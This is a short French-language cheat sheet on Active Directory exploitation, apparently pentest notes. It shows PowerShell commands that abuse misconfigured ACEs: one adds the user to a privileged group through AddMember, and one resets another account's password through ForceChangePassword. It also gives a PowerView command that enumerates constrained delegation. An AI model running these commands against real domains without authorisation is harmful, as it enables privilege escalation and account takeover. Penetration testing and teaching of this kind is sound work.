[AD] Cheat-sheet
Introduction
Quelques techniques d'exploitation de vulnérabilité sur l'Active Directory.
Techniques
ConfigurationMauvaise configuration ACE
Les ACE pour Access Control Entries sont des propriétés propres aux objets du domaines.
Si elles sont mal configurées, elles peuvent aboutir à une exploitation.
Par exemple, si on possède l'ACE AddMember on peut ajouter un utilisateur dans un groupe (y compris soit-même).
On peut donc se mettre dans un groupe à privilège élevé :
Add-ADGroupMember "IT Support" -Members "<USERNAME>"
Un autre ACE exploitable est ForceChangePassword qui permet de changer le mot de passe d'un utilisateur sans connaître son mot de passe :
$Password = ConvertTo-SecureString "<NEW_PASSWD>" -AsPlainText -Force
Set-ADAccountPassword -Identity "<USERNAME>" -Reset -NewPassword $Password
Constrained Delegation
Les délégations contraintes permettent à des services d'utiliser les droits d'autres d'objet du domaine pour accéder à un service.
Avec PowerSploit, il est possible d'énumérer les délégations :
Import-Module C:\Tools\PowerView.ps1
Get-NetUser -TrustedToAuth